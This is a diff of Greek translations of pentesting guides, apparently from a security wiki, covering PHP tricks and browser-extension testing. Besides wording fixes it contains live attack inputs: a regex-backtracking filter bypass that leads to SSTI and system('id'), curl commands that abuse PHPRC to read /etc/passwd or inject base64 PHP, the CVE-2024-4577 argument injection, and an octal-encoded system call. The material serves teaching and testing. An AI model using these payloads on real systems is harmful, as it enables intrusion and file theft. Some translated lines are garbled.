+Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι `preg_*` συναρτήσεις στην PHP βασίζονται στη [βιβλιοθήκη PCRE](http://www.pcre.org/). Στην PCRE, ορισμένες κανονικές εκφράσεις ταιριάζουν χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες καταναλώνουν πολύ χώρο στο στοίβο. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των επιτρεπόμενων αναδρομών, αλλά στην PHP αυτό το όριο [προεπιλέγεται σε 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), το οποίο είναι περισσότερο από ό,τι χωράει στο στοίβο.
 
 [Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\
-**Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστεύει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system(<verybadcommand>)}` για να αποκτήσουμε SSTI --> RCE --> flag :)**.
+**Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστέψει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system(<verybadcommand>)}` για να αποκτήσουμε SSTI --> RCE --> flag :)**.
 
-Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
+Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\ 
+Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
 ```python
 payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
 ```
@@ -151,16 +152,16 @@ Check:
 
 ## More tricks
 
-- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακορυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα.
+- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα.
 - Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να έχει πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\
 Με αυτόν τον τρόπο αν **και οι δύο διαδρομές έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).
 - Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\<USERNAME>** για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι.
-- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
+- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
 
 ### password_hash/password_verify
 
 Αυτές οι συναρτήσεις χρησιμοποιούνται συνήθως στο PHP για να **δημιουργούν κατακερματισμούς από κωδικούς πρόσβασης** και για να **ελέγχουν** αν ένας κωδικός πρόσβασης είναι σωστός σε σύγκριση με έναν κατακερματισμό.\
-Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι **PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT.** Και αυτή τη στιγμή, **PASSWORD_BCRYPT** έχει **περιορισμό μεγέθους στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, μόνο τα πρώτα 72B θα χρησιμοποιηθούν:
+Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι **PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT.** Και αυτή τη στιγμή, **PASSWORD_BCRYPT** έχει έναν **περιορισμό μεγέθους στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, θα χρησιμοποιηθούν μόνο τα πρώτα 72B:
 ```php
 $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
 False
@@ -182,7 +183,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
 ```
 #### Συμπλήρωση ενός σώματος πριν από την ρύθμιση των κεφαλίδων
 
-Αν μια **σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια **περιεχόμενα αρκετά μεγάλα** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απάντηση, ο server να ρίξει ένα σφάλμα.\
+Εάν μια **σελίδα PHP εκτυπώνει σφάλματα και επιστρέφει κάποια είσοδο που παρέχεται από τον χρήστη**, ο χρήστης μπορεί να κάνει τον PHP server να εκτυπώσει κάποια **περιεχόμενα αρκετά μεγάλα** ώστε όταν προσπαθήσει να **προσθέσει τις κεφαλίδες** στην απάντηση, ο server να ρίξει ένα σφάλμα.\
 Στο παρακάτω σενάριο, ο **επιτιθέμενος έκανε τον server να ρίξει κάποια μεγάλα σφάλματα**, και όπως μπορείτε να δείτε στην οθόνη, όταν η PHP προσπάθησε να **τροποποιήσει τις πληροφορίες κεφαλίδας, δεν μπόρεσε** (έτσι για παράδειγμα η κεφαλίδα CSP δεν στάλθηκε στον χρήστη):
 
 ![](<../../../images/image (1085).png>)
@@ -201,7 +202,7 @@ php-ssrf.md
 &#xNAN;**\`ls\`;**\
 **shell_exec("ls");**
 
-[Ελέγξτε αυτό για περισσότερες χρήσιμες συναρτήσεις PHP](php-useful-functions-disable_functions-open_basedir-bypass/)
+[Ελέγξτε αυτό για περισσότερες χρήσιμες συναρτήσεις PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
 
 ### **RCE μέσω** **preg_replace()**
 ```php
@@ -265,22 +266,22 @@ usort();}phpinfo;#, "cmp");
 
 ### **RCE μέσω .httaccess**
 
-Εάν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).
+Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).
 
 Διαφορετικά shells .htaccess μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)
 
 ### RCE μέσω Env Variables
 
-Εάν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables στο PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**.
+Αν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables σε PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**.
 
 - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει).
-- **`PHPRC`** : Δίνει οδηγίες στο PHP για **πού να εντοπίσει το αρχείο ρύθμισης** του, συνήθως ονομάζεται `php.ini`. Εάν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε το PHP σε αυτό. Προσθέστε μια καταχώρηση **`auto_prepend_file`** που καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
-1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικά μας
-2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει εντολή στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
+- **`PHPRC`** : Δίνει οδηγίες στην PHP για **πού να εντοπίσει το αρχείο ρύθμισης**, συνήθως ονομάζεται `php.ini`. Αν μπορείτε να ανεβάσετε το δικό σας αρχείο ρύθμισης, τότε, χρησιμοποιήστε το `PHPRC` για να δείξετε στην PHP σε αυτό. Προσθέστε μια καταχώρηση **`auto_prepend_file`** που καθορίζει ένα δεύτερο ανεβασμένο αρχείο. Αυτό το δεύτερο αρχείο περιέχει κανονικό **PHP κώδικα, ο οποίος εκτελείται** από το PHP runtime πριν από οποιονδήποτε άλλο κώδικα.
+1. Ανεβάστε ένα αρχείο PHP που περιέχει τον κώδικα shell μας
+2. Ανεβάστε ένα δεύτερο αρχείο, που περιέχει μια οδηγία **`auto_prepend_file`** που δίνει οδηγίες στον προεπεξεργαστή PHP να εκτελέσει το αρχείο που ανεβάσαμε στο βήμα 1
 3. Ρυθμίστε τη μεταβλητή `PHPRC` στο αρχείο που ανεβάσαμε στο βήμα 2.
 - Αποκτήστε περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτή την αλυσίδα [**από την αρχική αναφορά**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
 - **PHPRC** - άλλη επιλογή
-- Εάν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, που είναι το **σώμα** του αιτήματος που αποστέλλεται στο `stdin`:
+- Αν **δεν μπορείτε να ανεβάσετε αρχεία**, μπορείτε να χρησιμοποιήσετε στο FreeBSD το "αρχείο" `/dev/fd/0` που περιέχει το **`stdin`**, που είναι το **σώμα** του αιτήματος που αποστέλλεται στο `stdin`:
 - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
 - Ή για να αποκτήσετε RCE, ενεργοποιήστε το **`allow_url_include`** και προσθέστε ένα αρχείο με **base64 PHP κώδικα**:
 - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@@ -288,7 +289,7 @@ usort();}phpinfo;#, "cmp");
 
 ### XAMPP CGI RCE - CVE-2024-4577
 
-Ο διακομιστής ιστού αναλύει τα HTTP αιτήματα και τα περνά σε ένα PHP script εκτελώντας ένα αίτημα όπως το [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) ως `php.exe cgi.php foo=bar`, το οποίο επιτρέπει την έγχυση παραμέτρων. Αυτό θα επέτρεπε την έγχυση των παρακάτω παραμέτρων για να φορτώσει τον PHP κώδικα από το σώμα:
+Ο webserver αναλύει τα HTTP αιτήματα και τα περνά σε ένα PHP script εκτελώντας ένα αίτημα όπως [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) ως `php.exe cgi.php foo=bar`, το οποίο επιτρέπει την έγχυση παραμέτρων. Αυτό θα επέτρεπε την έγχυση των παρακάτω παραμέτρων για να φορτώσει τον PHP κώδικα από το σώμα:
 ```jsx
 -d allow_url_include=1 -d auto_prepend_file=php://input
 ```
@@ -348,7 +349,7 @@ echo "${Da}"; //Drums
 echo "$x ${$x}"; //Da Drums
 echo "$x ${Da}"; //Da Drums
 ```
-## RCE abusing new $\_GET\["a"]\($\_GET\["b")
+## RCE εκμετάλλευση νέου $\_GET\["a"]\($\_GET\["b")
 
 Αν σε μια σελίδα μπορείς να **δημιουργήσεις ένα νέο αντικείμενο μιας αυθαίρετης κλάσης**, μπορεί να μπορέσεις να αποκτήσεις RCE, δες την παρακάτω σελίδα για να μάθεις πώς:
 
@@ -356,11 +357,11 @@ echo "$x ${Da}"; //Da Drums
 php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
 {{#endref}}
 
-## Execute PHP without letters
+## Εκτέλεση PHP χωρίς γράμματα
 
 [https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
 
-### Using octal
+### Χρησιμοποιώντας οκταδικούς
 ```php
 $_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
 ```

src/pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -27,7 +27,7 @@
 ### Boundaries
 
 > [!CAUTION]
-> Για να αποκτήσει πλήρεις άδειες του χρήστη, ένας επιτιθέμενος πρέπει να πείσει την επέκταση να περάσει κακόβουλη είσοδο από το script περιεχομένου στον πυρήνα της επέκτασης και από τον πυρήνα της επέκτασης στη εγγενή δυαδική.
+> Για να αποκτήσει πλήρεις άδειες του χρήστη, ένας επιτιθέμενος πρέπει να πείσει την επέκταση να περάσει κακόβουλη είσοδο από το script περιεχομένου στον πυρήνα της επέκτασης και από τον πυρήνα της επέκτασης στην εγγενή δυαδική.
 
 Κάθε συστατικό της επέκτασης είναι χωρισμένο από το άλλο με **ισχυρά προστατευτικά όρια**. Κάθε συστατικό εκτελείται σε μια **ξεχωριστή διαδικασία λειτουργικού συστήματος**. Τα scripts περιεχομένου και οι πυρήνες επεκτάσεων εκτελούνται σε **διαδικασίες sandbox** που δεν είναι διαθέσιμες στους περισσότερους υπηρεσίες λειτουργικού συστήματος.
 
@@ -35,7 +35,7 @@
 
 ## **`manifest.json`**
 
-Μια επέκταση Chrome είναι απλώς ένας φάκελος ZIP με μια [.crx file extension](https://www.lifewire.com/crx-file-2620391). Ο πυρήνας της επέκτασης είναι το **`manifest.json`** αρχείο στη ρίζα του φακέλου, το οποίο καθορίζει τη διάταξη, τις άδειες και άλλες επιλογές διαμόρφωσης.
+Μια επέκταση Chrome είναι απλώς ένας φάκελος ZIP με κατάληξη [.crx file extension](https://www.lifewire.com/crx-file-2620391). Ο πυρήνας της επέκτασης είναι το **`manifest.json`** αρχείο στη ρίζα του φακέλου, το οποίο καθορίζει τη διάταξη, τις άδειες και άλλες επιλογές διαμόρφωσης.
 
 Example:
 ```json
@@ -208,13 +208,13 @@ js: ["contentScript.js"],
 ```
 ### `background`
 
-Τα μηνύματα που αποστέλλονται από τα περιεχόμενα σενάρια γίνονται δεκτά από τη **σελίδα φόντου**, η οποία διαδραματίζει κεντρικό ρόλο στην συντονιστική λειτουργία των στοιχείων της επέκτασης. Σημαντικά, η σελίδα φόντου παραμένει καθ' όλη τη διάρκεια ζωής της επέκτασης, λειτουργώντας διακριτικά χωρίς άμεση αλληλεπίδραση του χρήστη. Διαθέτει το δικό της Document Object Model (DOM), επιτρέποντας πολύπλοκες αλληλεπιδράσεις και διαχείριση καταστάσεων.
+Τα μηνύματα που αποστέλλονται από τα περιεχόμενα σενάρια γίνονται δεκτά από τη **σελίδα φόντου**, η οποία διαδραματίζει κεντρικό ρόλο στην συντονισμένη λειτουργία των στοιχείων της επέκτασης. Σημαντικά, η σελίδα φόντου παραμένει καθ' όλη τη διάρκεια ζωής της επέκτασης, λειτουργώντας διακριτικά χωρίς άμεση αλληλεπίδραση του χρήστη. Διαθέτει το δικό της Document Object Model (DOM), επιτρέποντας πολύπλοκες αλληλεπιδράσεις και διαχείριση καταστάσεων.
 
 **Βασικά Σημεία**:
 
 - **Ρόλος Σελίδας Φόντου:** Λειτουργεί ως το κέντρο ελέγχου για την επέκταση, εξασφαλίζοντας την επικοινωνία και τον συντονισμό μεταξύ των διαφόρων τμημάτων της επέκτασης.
 - **Επιμονή:** Είναι μια πάντα παρούσα οντότητα, αόρατη στον χρήστη αλλά αναπόσπαστο μέρος της λειτουργικότητας της επέκτασης.
-- **Αυτόματη Δημιουργία:** Εάν δεν οριστεί ρητά, ο περιηγητής θα δημιουργήσει αυτόματα μια σελίδα φόντου. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα σενάρια φόντου που καθορίζονται στο μανιφέστο της επέκτασης, εξασφαλίζοντας τη χωρίς προβλήματα λειτουργία των εργασιών φόντου της επέκτασης.
+- **Αυτόματη Δημιουργία:** Εάν δεν οριστεί ρητά, ο περιηγητής θα δημιουργήσει αυτόματα μια σελίδα φόντου. Αυτή η αυτόματα δημιουργημένη σελίδα θα περιλαμβάνει όλα τα σενάρια φόντου που καθορίζονται στο μανιφέστο της επέκτασης, εξασφαλίζοντας την απρόσκοπτη λειτουργία των εργασιών φόντου της επέκτασης.
 
 > [!TIP]
 > Η ευκολία που παρέχει ο περιηγητής στην αυτόματη δημιουργία μιας σελίδας φόντου (όταν δεν δηλώνεται ρητά) εξασφαλίζει ότι όλα τα απαραίτητα σενάρια φόντου είναι ενσωματωμένα και λειτουργικά, απλοποιώντας τη διαδικασία ρύθμισης της επέκτασης.
@@ -243,14 +243,14 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
 
 <figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως οι σελίδες background, καθώς φορτώνουν δυναμικά περιεχόμενο κατά ανάγκη. Παρά τούτο, μοιράζονται ορισμένες δυνατότητες με τη σελίδα background:
+Σημειώστε ότι αυτές οι σελίδες δεν είναι μόνιμες όπως οι σελίδες background, καθώς φορτώνουν δυναμικά περιεχόμενο κατά την ανάγκη. Παρά τούτο, μοιράζονται ορισμένες δυνατότητες με τη σελίδα background:
 
 - **Επικοινωνία με Content Scripts:** Παρόμοια με τη σελίδα background, αυτές οι σελίδες μπορούν να λαμβάνουν μηνύματα από content scripts, διευκολύνοντας την αλληλεπίδραση εντός της επέκτασης.
-- **Πρόσβαση σε APIs συγκεκριμένα για την επέκταση:** Αυτές οι σελίδες απολαμβάνουν πλήρη πρόσβαση σε APIs συγκεκριμένα για την επέκταση, υπό την προϋπόθεση των δικαιωμάτων που ορίζονται για την επέκταση.
+- **Πρόσβαση σε APIs συγκεκριμένα για την επέκταση:** Αυτές οι σελίδες απολαμβάνουν πλήρη πρόσβαση σε APIs συγκεκριμένα για την επέκταση, υπό την προϋπόθεση των αδειών που ορίζονται για την επέκταση.
 
 ### `permissions` & `host_permissions`
 
-**`permissions`** και **`host_permissions`** είναι καταχωρήσεις από το `manifest.json` που θα υποδεικνύουν **ποια δικαιώματα** έχει η επέκταση του προγράμματος περιήγησης (αποθήκευση, τοποθεσία...) και σε **ποιες ιστοσελίδες**.
+**`permissions`** και **`host_permissions`** είναι καταχωρήσεις από το `manifest.json` που θα υποδεικνύουν **ποιες άδειες** έχει η επέκταση του προγράμματος περιήγησης (αποθήκευση, τοποθεσία...) και σε **ποιες ιστοσελίδες**.
 
 Καθώς οι επεκτάσεις προγράμματος περιήγησης μπορεί να είναι τόσο **προνομιούχες**, μια κακόβουλη ή μια που έχει παραβιαστεί θα μπορούσε να επιτρέψει στον επιτιθέμενο **διαφορετικούς τρόπους να κλέψει ευαίσθητες πληροφορίες και να κατασκοπεύσει τον χρήστη**.
 
@@ -276,7 +276,7 @@ script-src 'self'; object-src 'self';
 
 ### `web_accessible_resources`
 
-Για να έχει μια ιστοσελίδα πρόσβαση σε μια σελίδα μιας Επέκτασης Περιηγητή, μια σελίδα `.html` για παράδειγμα, αυτή η σελίδα πρέπει να αναφέρεται στο πεδίο **`web_accessible_resources`** του `manifest.json`.\
+Για να έχει μια ιστοσελίδα πρόσβαση σε μια σελίδα μιας Επέκτασης Περιηγητή, όπως μια σελίδα `.html`, αυτή η σελίδα πρέπει να αναφέρεται στο πεδίο **`web_accessible_resources`** του `manifest.json`.\
 Για παράδειγμα:
 ```javascript
 {
@@ -319,7 +319,7 @@ browext-clickjacking.md
 > [!CAUTION]
 > Σημειώστε ότι οι σελίδες από **`web_accessible_resources`** και άλλες σελίδες της επέκτασης είναι επίσης ικανές να **επικοινωνούν με σενάρια φόντου**. Έτσι, αν μία από αυτές τις σελίδες είναι ευάλωτη σε **XSS**, θα μπορούσε να ανοίξει μια μεγαλύτερη ευπάθεια.
 >
-> Επιπλέον, σημειώστε ότι μπορείτε να ανοίξετε μόνο σελίδες που αναφέρονται σε **`web_accessible_resources`** μέσα σε iframes, αλλά από μια νέα καρτέλα είναι δυνατή η πρόσβαση σε οποιαδήποτε σελίδα στην επέκταση γνωρίζοντας το extension ID. Επομένως, αν βρεθεί ένα XSS που εκμεταλλεύεται τις ίδιες παραμέτρους, θα μπορούσε να εκμεταλλευτεί ακόμη και αν η σελίδα δεν είναι ρυθμισμένη σε **`web_accessible_resources`**.
+> Επιπλέον, σημειώστε ότι μπορείτε να ανοίξετε μόνο σελίδες που αναφέρονται σε **`web_accessible_resources`** μέσα σε iframes, αλλά από μια νέα καρτέλα είναι δυνατή η πρόσβαση σε οποιαδήποτε σελίδα στην επέκταση γνωρίζοντας το extension ID. Επομένως, αν βρεθεί XSS που εκμεταλλεύεται τις ίδιες παραμέτρους, θα μπορούσε να εκμεταλλευτεί ακόμη και αν η σελίδα δεν είναι ρυθμισμένη σε **`web_accessible_resources`**.
 
 ### `externally_connectable`
 
@@ -354,7 +354,7 @@ browext-clickjacking.md
 
 Συνήθως η λειτουργία **`chrome.runtime.sendMessage`** χρησιμοποιείται για να στείλει ένα μήνυμα μέσα στην επέκταση (συνήθως διαχειρίζεται από το `background` script) και για να το λάβει και να το διαχειριστεί δηλώνεται ένας ακροατής καλώντας **`chrome.runtime.onMessage.addListener`**.
 
-Είναι επίσης δυνατό να χρησιμοποιηθεί **`chrome.runtime.connect()`** για να υπάρχει μια μόνιμη σύνδεση αντί να στέλνονται μεμονωμένα μηνύματα, είναι δυνατό να χρησιμοποιηθεί για να **στείλει** και **λάβει** **μηνύματα** όπως στο παρακάτω παράδειγμα:
+Είναι επίσης δυνατό να χρησιμοποιηθεί το **`chrome.runtime.connect()`** για να έχει μια μόνιμη σύνδεση αντί να στέλνει μεμονωμένα μηνύματα, είναι δυνατό να το χρησιμοποιήσει για να **στείλει** και **λάβει** **μηνύματα** όπως στο παρακάτω παράδειγμα:
 
 <details>
 
@@ -401,7 +401,7 @@ chrome.runtime.sendMessage(extensionId, ...
 
 ### Native Messaging
 
-Είναι δυνατόν για τα background scripts να επικοινωνούν με binaries μέσα στο σύστημα, τα οποία μπορεί να είναι **ευάλωτα σε κρίσιμες ευπάθειες όπως οι RCEs** αν αυτή η επικοινωνία δεν είναι σωστά ασφαλισμένη. [More on this later](#native-messaging).
+Είναι δυνατόν για τα background scripts να επικοινωνούν με binaries μέσα στο σύστημα, τα οποία μπορεί να είναι **ευάλωτα σε κρίσιμες ευπάθειες όπως RCEs** αν αυτή η επικοινωνία δεν είναι σωστά ασφαλισμένη. [More on this later](#native-messaging).
 ```javascript
 chrome.runtime.sendNativeMessage(
 "com.my_company.my_application",
@@ -466,7 +466,7 @@ false
 
 ### Iframe
 
-Ένας άλλος πιθανός τρόπος επικοινωνίας μπορεί να είναι μέσω **Iframe URLs**, μπορείτε να βρείτε ένα παράδειγμα στο:
+Ένας άλλος πιθανός τρόπος επικοινωνίας μπορεί να είναι μέσω **Iframe URLs**, μπορείτε να βρείτε ένα παράδειγμα σε:
 
 {{#ref}}
 browext-xss-example.md
@@ -476,7 +476,7 @@ browext-xss-example.md
 
 Αυτό δεν είναι "ακριβώς" ένας τρόπος επικοινωνίας, αλλά το **web και το content script θα έχουν πρόσβαση στο web DOM**. Έτσι, αν το **content script** διαβάζει κάποιες πληροφορίες από αυτό, **εμπιστευόμενο το web DOM**, το web θα μπορούσε να **τροποποιήσει αυτά τα δεδομένα** (επειδή το web δεν θα πρέπει να εμπιστεύεται, ή επειδή το web είναι ευάλωτο σε XSS) και να **συμβιβάσει το Content Script**.
 
-Μπορείτε επίσης να βρείτε ένα παράδειγμα ενός **DOM based XSS για να συμβιβάσετε μια επέκταση προγράμματος περιήγησης** στο:
+Μπορείτε επίσης να βρείτε ένα παράδειγμα ενός **DOM based XSS για να συμβιβάσετε μια επέκταση προγράμματος περιήγησης** σε:
 
 {{#ref}}
 browext-xss-example.md
@@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
 console.log(response)
 })()
 ```
-Αποστολή αιτήματος από την **επέκταση** (συνήθως ένα **background script**). Παράδειγμα για το πώς να στείλετε μήνυμα στο περιεχόμενο του script στην επιλεγμένη καρτέλα:
+Αποστολή αιτήματος από την **extension** (συνήθως ένα **background script**). Παράδειγμα για το πώς να στείλετε μήνυμα στο content script στην επιλεγμένη καρτέλα:
 ```javascript
 // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
 ;(async () => {
@@ -560,30 +560,30 @@ console.log("Received " + response)
 
 1. Η επέκταση του προγράμματος περιήγησης έχει ένα μοτίβο wildcard για το περιεχόμενο του script.
 2. Το περιεχόμενο του script περνάει μηνύματα `postMessage` στο background script χρησιμοποιώντας `sendMessage`.
-3. Το background script περνάει το μήνυμα σε εγγενή εφαρμογή χρησιμοποιώντας `sendNativeMessage`.
-4. Η εγγενής εφαρμογή χειρίζεται το μήνυμα επικίνδυνα, οδηγώντας σε εκτέλεση κώδικα.
+3. Το background script περνάει το μήνυμα στην εγ native εφαρμογή χρησιμοποιώντας `sendNativeMessage`.
+4. Η εγ native εφαρμογή χειρίζεται το μήνυμα επικίνδυνα, οδηγώντας σε εκτέλεση κώδικα.
 
 Και μέσα σε αυτό, εξηγείται ένα παράδειγμα **μετάβασης από οποιαδήποτε σελίδα σε RCE εκμεταλλευόμενο μια επέκταση προγράμματος περιήγησης**.
 
 ## Ευαίσθητες Πληροφορίες στη Μνήμη/Κώδικα/Πρόχειρο
 
-Εάν μια Επέκταση Προγράμματος Περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες μέσα στη μνήμη της**, αυτές θα μπορούσαν να **εκφορτωθούν** (ιδιαίτερα σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες.
+Εάν μια Επέκταση Προγράμματος Περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες μέσα στη μνήμη της**, αυτές θα μπορούσαν να **εκχυθούν** (ιδιαίτερα σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες.
 
 Επομένως, η μνήμη της Επέκτασης Προγράμματος Περιήγησης **δεν θα πρέπει να θεωρείται ασφαλής** και **ευαίσθητες πληροφορίες** όπως διαπιστευτήρια ή μνημονικές φράσεις **δεν θα πρέπει να αποθηκεύονται**.
 
-Φυσικά, **μην βάζετε ευαίσθητες πληροφορίες στον κώδικα**, καθώς θα είναι **δημόσιες**.
